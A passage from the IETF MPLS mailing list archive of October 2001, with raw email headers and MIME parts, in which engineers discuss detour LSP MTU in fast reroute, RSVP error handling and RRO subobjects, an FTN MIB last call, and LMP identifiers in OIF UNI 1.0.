	charset="iso-8859-1"

Sundara:

If the detour MTU must be >= the main LSP MTU, how is this achieved? If I
understand the protocol flows correctly, you only know what you got, you
cannot request a specific MTU. So there is not a method to easily find a
useful detour, and does this not disqualify perfectly good detour
opportunities when the RESV MTU for the main path exceeds the service
requirement?

thanks
Dave

------_=_NextPart_001_01C1535A.3B18FD20
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.89">
<TITLE>RE: draft-gan-fast-reroute</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Sundara:</FONT>
</P>

<P><FONT SIZE=3D2>If the detour MTU must be &gt;=3D the main LSP MTU, =
how is this achieved? If I understand the protocol flows correctly, you =
only know what you got, you cannot request a specific MTU. So there is =
not a method to easily find a useful detour, and does this not =
disqualify perfectly good detour opportunities when the RESV MTU for =
the main path exceeds the service requirement?</FONT></P>

<P><FONT SIZE=3D2>thanks</FONT>
<BR><FONT SIZE=3D2>Dave</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C1535A.3B18FD20--


From owner-mpls@UU.NET  Fri Oct 12 16:42:09 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA09116
	for <mpls-archive@lists.ietf.org>; Fri, 12 Oct 2001 16:42:09 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlklu23554;
	Fri, 12 Oct 2001 20:41:00 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlklu12307
	for mpls-outgoing; Fri, 12 Oct 2001 20:40:35 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlklu12297
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 12 Oct 2001 20:40:26 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlklu11097
	for <mpls@uu.net>; Fri, 12 Oct 2001 20:40:02 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlklu06989
	for <mpls@uu.net>; Fri, 12 Oct 2001 20:40:17 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id QAA18761 for <mpls@uu.net>; Fri, 12 Oct 2001 16:40:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id QAA06964 for mpls@uu.net; Fri, 12 Oct 2001 16:40:02 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlklu12181
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 12 Oct 2001 20:38:28 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlklu25913
	for <mpls@uu.net>; Fri, 12 Oct 2001 20:38:25 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlklu03829
	for <mpls@uu.net>; Fri, 12 Oct 2001 20:38:40 GMT
Received: from telescope.cisco.com (telescope.cisco.com [161.44.166.204]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id QAA18579 for <mpls@uu.net>; Fri, 12 Oct 2001 16:38:24 -0400 (EDT)
Received: from localhost (swallow@localhost) by telescope.cisco.com (8.8.5-Cisco.1/CISCO.WS.1.2) with ESMTP id QAA08536 for <mpls@uu.net>; Fri, 12 Oct 2001 16:38:24 -0400 (EDT)
Message-Id: <200110122038.QAA08536@telescope.cisco.com>
X-Authentication-Warning: telescope.cisco.com: swallow owned process doing -bs
To: mpls@UU.NET
Subject: Last Call on FTN MIB
Date: Fri, 12 Oct 2001 16:38:24 -0400
From: George Swallow <swallow@cisco.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

This message begins a last call on

  Multiprotocol Label Switching (MPLS) FEC-To-NHLFE (FTN) MIB
                       
  draft-ietf-mpls-ftn-mib-03.txt

The last call ends on Oct 26 at midnight GMT.

...George

======================================================================
George Swallow       Cisco Systems                   (978) 244-8143
                     250 Apollo Drive
                     Chelmsford, Ma 01824





From owner-mpls@UU.NET  Fri Oct 12 17:08:23 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA09724
	for <mpls-archive@lists.ietf.org>; Fri, 12 Oct 2001 17:08:23 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlklw08706;
	Fri, 12 Oct 2001 21:07:35 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlklw28673
	for mpls-outgoing; Fri, 12 Oct 2001 21:07:13 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlklw27537
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 12 Oct 2001 21:07:05 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlklw01391
	for <mpls@uu.net>; Fri, 12 Oct 2001 21:05:35 GMT
Received: from merlot.juniper.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: natint.juniper.net [207.17.136.129])
	id QQlklw27436
	for <mpls@uu.net>; Fri, 12 Oct 2001 21:05:49 GMT
Received: from kummer.juniper.net (kummer.juniper.net [172.17.12.90])
	by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id f9CL5Y073380;
	Fri, 12 Oct 2001 14:05:34 -0700 (PDT)
	(envelope-from kireeti@juniper.net)
Received: (from kireeti@localhost) by kummer.juniper.net (8.8.8/8.7.3) id OAA11101; Fri, 12 Oct 2001 14:05:34 -0700 (PDT)
Date: Fri, 12 Oct 2001 14:05:34 -0700 (PDT)
From: Kireeti Kompella <kireeti@juniper.net>
Message-Id: <200110122105.OAA11101@kummer.juniper.net>
To: David.Charlap@marconi.com, mpls@UU.NET
Subject: Re: router architecture for MPLS
In-Reply-To: <3BC73B36.BF65E321@marconi.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

> But this is an economic reason, not a technical one.

Which is the bigger motivation, especially to folks who *buy*
the desktops?

Kireeti.


From owner-mpls@UU.NET  Fri Oct 12 17:10:20 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA09759
	for <mpls-archive@lists.ietf.org>; Fri, 12 Oct 2001 17:10:19 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlklw27102;
	Fri, 12 Oct 2001 21:05:41 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlklw24742
	for mpls-outgoing; Fri, 12 Oct 2001 21:04:55 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlklw24707
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 12 Oct 2001 21:04:40 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlklw01587
	for <mpls@UU.NET>; Fri, 12 Oct 2001 21:04:14 GMT
Received: from dnsmx2pya.telcordia.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dnsmx2pya.telcordia.com [128.96.20.32])
	id QQlklw06671
	for <mpls@UU.NET>; Fri, 12 Oct 2001 21:04:29 GMT
Received: from notes640.cc.telcordia.com (notes640.cc.telcordia.com [128.96.22.6])
	by dnsmx2pya.telcordia.com (8.9.3/8.9.3) with ESMTP id QAA22727
	for <mpls@UU.NET>; Fri, 12 Oct 2001 16:57:43 -0400 (EDT)
Subject: rsvp error msg
To: mpls@UU.NET
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
Message-ID: <OF8127D6FB.33B544E3-ON85256AE3.0071624E@cc.telcordia.com>
From: "Hong Liao" <hliao@telcordia.com>
Date: Fri, 12 Oct 2001 16:57:43 -0400
X-MIMETrack: Serialize by Router on notes640/Telcordia(Release 5.0.6a |January 17, 2001) at
 10/12/2001 04:57:44 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

H
This is one vendor says that error msg with error code in AppB is optional,
the reason is that the spec just use the word 'should', so it is optional.

For example:   rsvp spec rfc 2205 page 62

            One might expect the known Class-Num to provide information
           that could allow intelligent handling of such an object.
           However, in practice such class-dependent handling is
           complex, and in many cases it is not useful.

           Generally, the appearance of an object with unknown C-Type
           should result in rejection of the entire message and
           generation of an error message (ResvErr or PathErr as
           appropriate).  The error message will include the Class-Num
           and C-Type that failed (see Appendix B); the end system that
           originated the failed message may be able to use this
           information to retry the request using a different C-Type
           object, repeating this process until it runs out of
           alternatives or succeeds.

But people from MPLS mailing list told me the error code is there, which is
supposed to use in the patherr or resverr when the msg with error is
received.

So I need rfc author to point it out for me:   once the msg with ERROR(ex,
the unknown c-type)  is received, it was simply dropped or will generate
error msg with error code.


Thanks,

Julia




From owner-mpls@UU.NET  Fri Oct 12 17:44:57 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA10219
	for <mpls-archive@lists.ietf.org>; Fri, 12 Oct 2001 17:44:57 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkly22851;
	Fri, 12 Oct 2001 21:43:19 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkly06766
	for mpls-outgoing; Fri, 12 Oct 2001 21:42:47 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkly06761
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 12 Oct 2001 21:42:45 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkly17213
	for <mpls@UU.NET>; Fri, 12 Oct 2001 21:42:22 GMT
Received: from dnsmx2pya.telcordia.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dnsmx2pya.telcordia.com [128.96.20.32])
	id QQlkly07523
	for <mpls@UU.NET>; Fri, 12 Oct 2001 21:42:37 GMT
Received: from notes640.cc.telcordia.com (notes640.cc.telcordia.com [128.96.22.6])
	by dnsmx2pya.telcordia.com (8.9.3/8.9.3) with ESMTP id RAA12013
	for <mpls@UU.NET>; Fri, 12 Oct 2001 17:38:49 -0400 (EDT)
Subject: RSVP questions
To: mpls@UU.NET
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
Message-ID: <OF42EEDE1A.17F1955C-ON85256AE3.007566ED@cc.telcordia.com>
From: "Hong Liao" <hliao@telcordia.com>
Date: Fri, 12 Oct 2001 17:38:49 -0400
X-MIMETrack: Serialize by Router on notes640/Telcordia(Release 5.0.6a |January 17, 2001) at
 10/12/2001 05:38:50 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

The RSVPTE draft
(Section
4.4.5), "New subobjects may be defined for the RRO.  When processing an
RRO,

unrecognized subobjects SHOULD be ignored and passed on."

Here the "unrecognized subobjects".

Unrecognized should be an RRO subobject "type" that is other than 1-ipv4
address, 2-ipv6 address, or
3-label.  An example would be '0xFF'.    or it means the unrecognized IP
address in RRO.

Can anyone confirm it for me?

Thanks,
Julia




From owner-mpls@UU.NET  Sat Oct 13 06:17:32 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA02627
	for <mpls-archive@lists.ietf.org>; Sat, 13 Oct 2001 06:17:32 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlknx00630;
	Sat, 13 Oct 2001 10:15:54 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlknx12468
	for mpls-outgoing; Sat, 13 Oct 2001 10:15:18 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlknx12461
	for <mpls@mail-control.ash.ops.us.uu.net>; Sat, 13 Oct 2001 10:15:16 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlknx24908
	for <mpls@UU.NET>; Sat, 13 Oct 2001 10:15:02 GMT
From: francis.arts@alcatel.be
Received: from relay1.alcatel.be by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alc119.alcatel.be [195.207.101.119])
	id QQlknw24466
	for <mpls@UU.NET>; Sat, 13 Oct 2001 10:14:53 GMT
Received: from Bemail06.net.alcatel.be (localhost [127.0.0.1])
	by relay1.alcatel.be (8.10.1/8.10.1) with ESMTP id f9DADdO23977;
	Sat, 13 Oct 2001 12:13:48 +0200 (MET DST)
To: "David Allan" <dallan@nortelnetworks.com>
Cc: Sundara Murugan <sundar@pluris.com>,
        "'Arthi Ayyangar '" <ayyangar@apollo.mctr.umbc.edu>,
        "'Alia Atlas '" <aatlas@avici.com>, "'mpls@UU.NET '" <mpls@UU.NET>
Subject: RE: draft-gan-fast-reroute
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
Message-ID: <OF91CB8441.C2FEBBEB-ONC1256AE4.0037C008@net.alcatel.be>
Date: Sat, 13 Oct 2001 12:13:37 +0200
X-MIMETrack: Serialize by Router on BEMAIL06/BE/ALCATEL(Release 5.0.8 |June 18, 2001) at
 10/13/2001 12:14:02
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="=_mixed 00382AC4C1256AE4_="
Sender: owner-mpls@UU.NET
Precedence: bulk

--=_mixed 00382AC4C1256AE4_=
Content-Type: multipart/related; boundary="=_related 00382AC4C1256AE4_="


--=_related 00382AC4C1256AE4_=
Content-Type: multipart/alternative; boundary="=_alternative 00382AC4C1256AE4_="


--=_alternative 00382AC4C1256AE4_=
Content-Type: text/plain; charset="us-ascii"

Dave,

I agree on your reply. I want to add 1 more remark: The path MTU of the 
detour LSP reflects the MTU of the path [node 2 - node 4] while the path 
MTU of the main LSP is the MTU of the path [node 1, node 2, node 3, node 
4, egress] between node 1 and the egress node. If the detour takes over in 
node 2, I would expect the path MTU of the main LSP to reflect the MTU of 
the path [node 1, node 2, detour (node 2 - node 4), egress]. After all, 
one does want to avoid fragmentation in the middle of an LSP.

>>
>>        Node1 ====> Node2 ======> Node3 =====> Node4 ======> Egress
>>                       v                       ^
>>                       |                       |
>>                       +-----------------------+
>>

Best regards,

        Francis.

--------------------------------






To:
Sundara Murugan <sundar@pluris.com>, "'Arthi Ayyangar '" 
<ayyangar@apollo.mctr.umbc.edu>, Francis ARTS/BE/ALCATEL@ALCATEL
cc:
"'Alia Atlas '" <aatlas@avici.com>, "'mpls@UU.NET '" <mpls@UU.NET>


Subject:
RE: draft-gan-fast-reroute



Sundara:

If the detour MTU must be >= the main LSP MTU, how is this achieved? If I
understand the protocol flows correctly, you only know what you got, you
cannot request a specific MTU. So there is not a method to easily find a
useful detour, and does this not disqualify perfectly good detour
opportunities when the RESV MTU for the main path exceeds the service
requirement?

thanks
Dave




--=_alternative 00382AC4C1256AE4_=
Content-Type: text/html; charset="us-ascii"


<br><font size=2 face="sans-serif">Dave,</font>
<br>
<br><font size=2 face="sans-serif">I agree on your reply. I want to add 1 more remark: The path MTU of the detour LSP reflects the MTU of the path [node 2 - node 4] while the path MTU of the main LSP is the MTU of the path [node 1, node 2, node 3, node 4, egress] between node 1 and the egress node. If the detour takes over in node 2, I would expect the path MTU of the main LSP to reflect the MTU of the path [node 1, node 2, detour (node 2 - node 4), egress]. After all, one does want to avoid fragmentation in the middle of an LSP.</font>
<br>
<br><font size=1><tt>&gt;&gt;<br>
&gt;&gt; &nbsp; &nbsp; &nbsp; &nbsp;Node1 ====&gt; Node2 ======&gt; Node3 =====&gt; Node4 ======&gt; Egress<br>
&gt;&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ^<br>
&gt;&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br>
&gt;&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; +-----------------------+<br>
&gt;&gt;</tt></font>
<br>
<br><font size=2 face="sans-serif">Best regards,</font>
<br>
<br><font size=2 face="sans-serif">&nbsp; &nbsp; &nbsp; &nbsp; Francis.</font>
<br>
<br><font size=2 face="sans-serif">--------------------------------</font>
<br>
<br>
<br>
<br>
<table>
<tr valign=top>
<td>
<td>
<tr valign=top>
<td><font size=1 color=#800080 face="sans-serif">To:</font>
<td><font size=1 face="sans-serif">Sundara Murugan &lt;sundar@pluris.com&gt;, &quot;'Arthi Ayyangar '&quot; &lt;ayyangar@apollo.mctr.umbc.edu&gt;, Francis ARTS/BE/ALCATEL@ALCATEL</font>
<tr valign=top>
<td><font size=1 color=#800080 face="sans-serif">cc:</font>
<td><font size=1 face="sans-serif">&quot;'Alia Atlas '&quot; &lt;aatlas@avici.com&gt;, &quot;'mpls@UU.NET '&quot; &lt;mpls@UU.NET&gt;</font>
<tr valign=top>
<td>
<td>
<tr valign=top>
<td><font size=1 color=#800080 face="sans-serif">Subject:</font>
<td><font size=1 face="sans-serif">RE: draft-gan-fast-reroute</font></table>
<br>
<br>
<br><img src=cid:_1_3CD00000262C00382AC3C1256AE4>
<br><font size=1><tt>Sundara:<br>
</tt></font>
<br><font size=1><tt>If the detour MTU must be &gt;= the main LSP MTU, how is this achieved? If I<br>
understand the protocol flows correctly, you only know what you got, you<br>
cannot request a specific MTU. So there is not a method to easily find a<br>
useful detour, and does this not disqualify perfectly good detour<br>
opportunities when the RESV MTU for the main path exceeds the service<br>
requirement?<br>
</tt></font>
<br><font size=1><tt>thanks<br>
Dave</tt></font>
<br>
<br><img src=cid:_1_440C000040FC00382AC4C1256AE4>
<br>
<br>
--=_alternative 00382AC4C1256AE4_=--
--=_related 00382AC4C1256AE4_=
Content-Type: image/gif
Content-ID: <_1_3CD00000262C00382AC3C1256AE4>
Content-Transfer-Encoding: base64
Content-Transfer-Encoding: base64

R0lGODlhOQIEAIAAAAAAAAAAACwAAAAAOQIEAEAC7E6Oqct9AYP/+vfu7OUVABB4LhnKeS/2X8jS
peyGdGqXIAzPuBwM9BCT1WzBIu2LaiiUyknlktl0AKAQwJCBAwC3/d8LzkC2t0Q+Qv4TvIQ7mpu4
xLc/8PebJSfEafb9rFfwN+hGB3bv778vR2fw/v6XB+eFOMHHpUbw+Ed2eH+/f/9WljAH8HO3RgC/
pYP4CvsKAzBx9YSh0Y0+4EHk8Quw5bH1Dww8vJUMaAwM6Pz/C00QXXx8UAt4ewv3S3H9j/Jr8TsF
EDJ9nH4MoZ4uLByc/CvvjLzFDGAMfUXN7yF9xQ8taNk0bOv2DcUAADs=
--=_related 00382AC4C1256AE4_=
Content-Type: image/gif
Content-ID: <_1_440C000040FC00382AC4C1256AE4>
Content-Transfer-Encoding: base64
Content-Transfer-Encoding: base64

R0lGODlhBQAfAIAAAAAAAAAAACwAAAAABQAfAEACILJ7ZKbQlSAj6kQ/P2xVP3NlG9CNV5d9Wqqg
kWp+7qMOADs=
--=_related 00382AC4C1256AE4_=--
--=_mixed 00382AC4C1256AE4_=
Content-Type: text/html; name="att1.htm"
Content-Disposition: attachment; filename="att1.htm"
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; charset=3Diso-8859-=
1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version 5.5.2654.89">
<TITLE>RE: draft-gan-fast-reroute</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Sundara:</FONT>
</P>

<P><FONT SIZE=3D2>If the detour MTU must be &gt;=3D the main LSP MTU, how i=
s this achieved? If I understand the protocol flows correctly, you only kno=
w what you got, you cannot request a specific MTU. So there is not a method=
 to easily find a useful detour, and does this not disqualify perfectly goo=
d detour opportunities when the RESV MTU for the main path exceeds the serv=
ice requirement?</FONT></P>

<P><FONT SIZE=3D2>thanks</FONT>
<BR><FONT SIZE=3D2>Dave</FONT>
</P>

</BODY>
</HTML>
--=_mixed 00382AC4C1256AE4_=--


From owner-mpls@UU.NET  Sun Oct 14 03:13:43 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA27076
	for <mpls-archive@lists.ietf.org>; Sun, 14 Oct 2001 03:13:43 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkrc12635;
	Sun, 14 Oct 2001 07:12:02 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkrc28474
	for mpls-outgoing; Sun, 14 Oct 2001 07:11:21 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkrc28464
	for <mpls@mail-control.ash.ops.us.uu.net>; Sun, 14 Oct 2001 07:11:19 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkrc06473
	for <mpls@uu.net>; Sun, 14 Oct 2001 07:10:02 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkrc18236
	for <mpls@uu.net>; Sun, 14 Oct 2001 07:10:17 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id DAA04492 for <mpls@uu.net>; Sun, 14 Oct 2001 03:10:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id DAA03246 for mpls@uu.net; Sun, 14 Oct 2001 03:10:01 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkrc28060
	for <mpls@mail-control.ash.ops.us.uu.net>; Sun, 14 Oct 2001 07:08:42 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkrc02139
	for <mpls@UU.NET>; Sun, 14 Oct 2001 07:08:38 GMT
Received: from mailnpd.hcltech.com by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: [203.197.145.76])
	id QQlkrc07500
	for <mpls@UU.NET>; Sun, 14 Oct 2001 07:08:52 GMT
Received: from rashanmupc (ram.hcltech.com [192.168.100.69])
	by mailnpd.hcltech.com (8.11.0/8.11.0) with SMTP id f9E78PC14256;
	Sun, 14 Oct 2001 12:38:26 +0530
Message-ID: <016501c154e8$010c8c70$4564a8c0@hcltech.com>
From: "S Ramesh" <rashanmu@npd.hcltech.com>
To: "CCAMP" <ccamp@ops.ietf.org>, "GMPLS" <gmpls-ops@mplsrc.com>
Cc: <mpls@UU.NET>
Subject: LMP Procedure in UNI 1.0 - Doubts
Date: Sun, 14 Oct 2001 12:39:53 -0700
Organization: HCL Technologies Ltd.
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0162_01C154AD.52DD1320"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0162_01C154AD.52DD1320
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi,

I have some doubts in UNI 1.0 Whitepaper published by OIF.

1. IN section 8.2 it is given the UNI neighbour discovery  mechanism is =
based on the LMP protocol mechanism. It is defined some three =
identifiers for LMP procedures NodeID,CCID, INterfaceID. For in-fiber =
case the CCID MUST be equal to the Interface ID. if this is the case =
then under direct service invocation model which supports In-fiber =
method, there exists a proxy UNI-N on the TNE side. So here the CCID =
cannot be the the same as the interface id because interface id is the =
port address for data transfer and the CCID is the  IP control channel =
which can be a seperate point to point link between the UNI-C and the =
proxy UNI-N. Then how comes the criteria

CCID =3D=3D Interface ID ( MUST in in-fiber case) can be satisfied.

2. Also there is some confusion exists regarding the three IDs as i =
mentioned above. When Config messages are sent under IP encapsulation =
they use the destination address as the Node ID of the destination. So =
what is the interface ID. Can anybody kindly explain these three IDs =
with a specific scenario.

Thanks,
Ramesh


------=_NextPart_000_0162_01C154AD.52DD1320
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>Hi,</DIV>
<DIV>&nbsp;</DIV>
<DIV>I have some doubts in UNI 1.0 Whitepaper published by OIF.</DIV>
<DIV>&nbsp;</DIV>
<DIV>1. IN section 8.2 it is given the UNI neighbour discovery&nbsp; =
mechanism=20
is based on the LMP protocol mechanism. It is defined some three =
identifiers for=20
LMP procedures NodeID,CCID, INterfaceID. For in-fiber case the CCID MUST =
be=20
equal to the Interface ID. if this is the case then under direct service =

invocation model which supports In-fiber method, there exists a proxy =
UNI-N on=20
the TNE side. So here the CCID cannot be the the same as the interface =
id=20
because interface id&nbsp;is the port address for data transfer and the=20
CCID&nbsp;is the  IP control channel which can be a seperate point to =
point link=20
between the UNI-C and the proxy UNI-N. Then how comes the criteria</DIV>
<DIV>&nbsp;</DIV>
<DIV>CCID =3D=3D Interface ID ( <STRONG>MUST in in-fiber case</STRONG>) =
can be=20
satisfied.</DIV>
<DIV>&nbsp;</DIV>
<DIV>2. Also there is some confusion exists regarding the three IDs as i =

mentioned above. When Config messages are sent under IP encapsulation =
they use=20
the destination address as the Node ID of the destination. So what is =
the=20
interface ID. Can anybody kindly explain these three IDs with a specific =

scenario.</DIV>
<DIV>&nbsp;</DIV>
<DIV>Thanks,</DIV>
<DIV>Ramesh</DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_0162_01C154AD.52DD1320--



From owner-mpls@UU.NET  Sun Oct 14 04:50:36 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA27772
	for <mpls-archive@lists.ietf.org>; Sun, 14 Oct 2001 04:50:36 -0400 (EDT)
